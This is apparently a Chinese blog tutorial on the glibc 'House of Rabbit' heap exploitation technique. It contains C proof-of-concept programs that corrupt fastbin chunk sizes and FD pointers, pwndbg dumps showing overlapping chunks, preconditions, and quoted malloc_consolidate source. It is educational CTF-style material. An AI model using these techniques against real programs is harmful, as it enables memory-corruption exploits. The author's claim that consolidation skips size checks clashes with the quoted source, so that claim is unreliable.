House Of Rabbit House of rabbit 是一种伪造堆块的技术,一般运用在 fastbin attack 中
核心:利用 fastbin consolidate 使 fastbin 中的 fake chunk 合法化
利用点:我们知道,fastbin 中会把相同的 size 的被释放的堆块用一个单向链表管理,分配的时候会检查 size 是否合理,如果不合理程序就会异常退出,而 house of rabbit 就利用了程序在 fastbin consolidate 的时候 ,没有对 size 进行检查
两种常见的利用手段:
修改fastbin chunk的大小:直接构造 overlap chunk,通过 fastbin consolidate 使其合法化
修改FD指针:让 chunk->FD 指向一个 fake chunk,触发 fastbin consolidate 之后让这个 fake chunk 成为一个合法的 chunk(注意一下fake chunk的排列,不然会在consolidate时报错)
House Of Rabbit 利用姿势 修改fastbin chunk的大小:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <string.h> #include <stdio.h> #include <stdlib.h> int main () { unsigned long * chunk1=malloc (0x40 ); unsigned long * chunk2=malloc (0x40 ); unsigned long * chunk3=malloc (0x10 ); unsigned long * chunk4; free (chunk1); free (chunk2); chunk1[-1 ]=0xa1 ; chunk4=malloc (0x1000 ); chunk1[0 ]="chunk1" ; chunk2[0 ]="chunk2" ; chunk3[0 ]="chunk3" ; chunk4[0 ]="chunk4" ; return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> telescope 0x55555555b000 00 :0000 │ 0x55555555b000 ◂— 0x0 01 :0008 │ 0x55555555b008 ◂— 0xa1 02 :0010 │ 0x55555555b010 —▸ 0x555555556004 ◂— 0x6300316b6e756863 03 :0018 │ 0x55555555b018 —▸ 0x7ffff7dd1c08 (main_arena+232 ) —▸ 0x7ffff7dd1bf8 (main_arena+216 ) —▸ 0x7ffff7dd1be8 (main_arena+200 ) —▸ 0x7ffff7dd1bd8 (main_arena+184 ) ◂— ...04 :0020 │ 0x55555555b020 ◂— 0x0 ... ↓ 3 skipped 08 :0040 │ 0x55555555b040 ◂— 0x0 ... ↓ 2 skipped 0b :0058 │ 0x55555555b058 ◂— 0x51 0 c:0060 │ 0x55555555b060 —▸ 0x55555555600b ◂— 0x6300326b6e756863 0 d:0068 │ 0x55555555b068 —▸ 0x7ffff7dd1bb8 (main_arena+152 ) —▸ 0x7ffff7dd1ba8 (main_arena+136 ) —▸ 0x7ffff7dd1b98 (main_arena+120 ) —▸ 0x7ffff7dd1b88 (main_arena+104 ) ◂— ...0 e:0070 │ 0x55555555b070 ◂— 0x0 0f :0078 │ 0x55555555b078 ◂— 0x0 10 :0080 │ 0x55555555b080 ◂— 0x0 ... ↓ 3 skipped 14 :00 a0│ 0x55555555b0a0 ◂— 0xa0 15 :00 a8│ 0x55555555b0a8 ◂— 0x20 16 :00b 0│ 0x55555555b0b0 —▸ 0x555555556012 ◂— 0x6300336b6e756863 17 :00b 8│ 0x55555555b0b8 ◂— 0x0 18 :00 c0│ 0x55555555b0c0 ◂— 0x0 19 :00 c8│ 0x55555555b0c8 ◂— 0x1011 1 a:00 d0│ rax 0x55555555b0d0 —▸ 0x555555556019 ◂— 0x100346b6e756863 1b :00 d8│ 0x55555555b0d8 ◂— 0x0
chunk1辐射的区域:
1 2 3 4 5 In [7 ]: 0x55555555b000 +0xa0 Out[7 ]: 93824992260256 In [8 ]: hex(93824992260256 ) Out[8 ]: '0x55555555b0a0'
chunk2辐射的区域:
1 2 3 4 5 In [9 ]: 0x55555555b050 +0x50 Out[9 ]: 93824992260256 In [10 ]: hex(93824992260256 ) Out[10 ]: '0x55555555b0a0'
修改FD指针: (如果集齐了这些条件,打Double free肯定优于它)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <string.h> #include <stdio.h> #include <stdlib.h> int main () { unsigned long * chunk1=malloc (0x40 ); unsigned long * chunk2=malloc (0x100 ); unsigned long * chunk3; unsigned long * chunk4; chunk1[0 ]="chunk1" ; chunk2[0 ]="chunk2" ; chunk2[1 ]=0x31 ; chunk2[7 ]=0x21 ; chunk2[11 ]=0x21 ; free (chunk1); chunk1[0 ]=chunk2; chunk3=malloc (5000 ); chunk4=malloc (0x20 ); chunk3[0 ]="chunk3" ; chunk4[0 ]="chunk4" ; return 0 ; }
chunk3=malloc(5000) 执行前:
1 2 3 4 5 6 7 8 9 10 11 pwndbg> bins fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x55555555b000 —▸ 0x55555555b060 ◂— 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0
强行令 chunk1->FD 指向 chunk2 data(fake chunk1)
chunk3=malloc(5000) 执行后:
1 2 3 4 5 smallbins 0x30 : 0x55555555b060 —▸ 0x7ffff7dd1b98 (main_arena+120 ) ◂— 0x55555555b060 0x50 : 0x55555555b000 —▸ 0x7ffff7dd1bb8 (main_arena+152 ) ◂— 0x55555555b000
查看最终的 heap 排列:(“fake chunk1”将会作为“chunk4”被申请)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> telescope 0x55555555b000 00 :0000 │ 0x55555555b000 ◂— 0x0 01 :0008 │ 0x55555555b008 ◂— 0x51 02 :0010 │ 0x55555555b010 —▸ 0x7ffff7dd1bb8 (main_arena+152 ) —▸ 0x7ffff7dd1ba8 (main_arena+136 ) —▸ 0x7ffff7dd1b98 (main_arena+120 ) —▸ 0x7ffff7dd1b88 (main_arena+104 ) ◂— ...03 :0018 │ 0x55555555b018 —▸ 0x7ffff7dd1bb8 (main_arena+152 ) —▸ 0x7ffff7dd1ba8 (main_arena+136 ) —▸ 0x7ffff7dd1b98 (main_arena+120 ) —▸ 0x7ffff7dd1b88 (main_arena+104 ) ◂— ...04 :0020 │ 0x55555555b020 ◂— 0x0 ... ↓ 3 skipped 08 :0040 │ 0x55555555b040 ◂— 0x0 09 :0048 │ 0x55555555b048 ◂— 0x0 0 a:0050 │ 0x55555555b050 ◂— 0x50 0b :0058 │ 0x55555555b058 ◂— 0x110 0 c:0060 │ 0x55555555b060 —▸ 0x55555555600b ◂— 0x6300326b6e756863 0 d:0068 │ 0x55555555b068 ◂— 0x31 0 e:0070 │ rax 0x55555555b070 —▸ 0x555555556019 ◂— 0x100346b6e756863 0f :0078 │ 0x55555555b078 —▸ 0x7ffff7dd1b98 (main_arena+120 ) —▸ 0x7ffff7dd1b88 (main_arena+104 ) —▸ 0x7ffff7dd1b78 (main_arena+88 ) —▸ 0x55555555c4f0 ◂— ...10 :0080 │ 0x55555555b080 ◂— 0x0 11 :0088 │ 0x55555555b088 ◂— 0x0 12 :0090 │ 0x55555555b090 ◂— 0x30 13 :0098 │ 0x55555555b098 ◂— 0x21 14 :00 a0│ 0x55555555b0a0 ◂— 0x0 ... ↓ 2 skipped 17 :00b 8│ 0x55555555b0b8 ◂— 0x21 .......................... 2 d:0168 │ 0x55555555b168 ◂— 0x1391 2 e:0170 │ 0x55555555b170 —▸ 0x555555556012 ◂— 0x6300336b6e756863 2f :0178 │ 0x55555555b178 ◂— 0x0
chunk2 和 chunk4(fake chunk1)明显重叠了
利用条件:
House Of Rabbit 功能很强大,但条件过多并且有替代选项:
修改fastbin chunk的大小(感觉和unlink条件差不多,效果也差不多)
堆溢出(有时off-by-one也利用),可以覆盖 nextchunk->size
可以申请足够大小的 chunk
可以控制 free 的参数
修改FD指针(这种情况不用考虑,因为可以打 Double free,除非特殊情况)
有修改模块,并且有UAF(可以修改 free chunk)
可以申请足够大小的 chunk
可以控制 free 的参数
版本对 House Of Rabbit 的影响 经测试:libc-2.23 ~ libc-2.31 都可以打通
最后挂一下 fastbin consolidate 的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 static void malloc_consolidate (mstate av) { mfastbinptr* fb; mfastbinptr* maxfb; mchunkptr p; mchunkptr nextp; mchunkptr unsorted_bin; mchunkptr first_unsorted; mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; mchunkptr bck; mchunkptr fwd; atomic_store_relaxed (&av->have_fastchunks, false ); unsorted_bin = unsorted_chunks(av); maxfb = &fastbin (av, NFASTBINS - 1 ); fb = &fastbin (av, 0 ); do { p = atomic_exchange_acq (fb, NULL ); if (p != 0 ) { do { { unsigned int idx = fastbin_index (chunksize (p)); if ((&fastbin (av, idx)) != fb) malloc_printerr ("malloc_consolidate(): invalid chunk size" ); } check_inuse_chunk(av, p); nextp = p->fd; size = chunksize (p); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk); if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink(av, nextchunk, bck, fwd); } else clear_inuse_bit_at_offset(nextchunk, 0 ); first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; first_unsorted->bk = p; if (!in_smallbin_range (size)) { p->fd_nextsize = NULL ; p->bk_nextsize = NULL ; } set_head(p, size | PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; } } while ( (p = nextp) != 0 ); } } while (fb++ != maxfb); }
// 反正我没有看出来哪里会导致 consolidate 报错,以后慢慢看把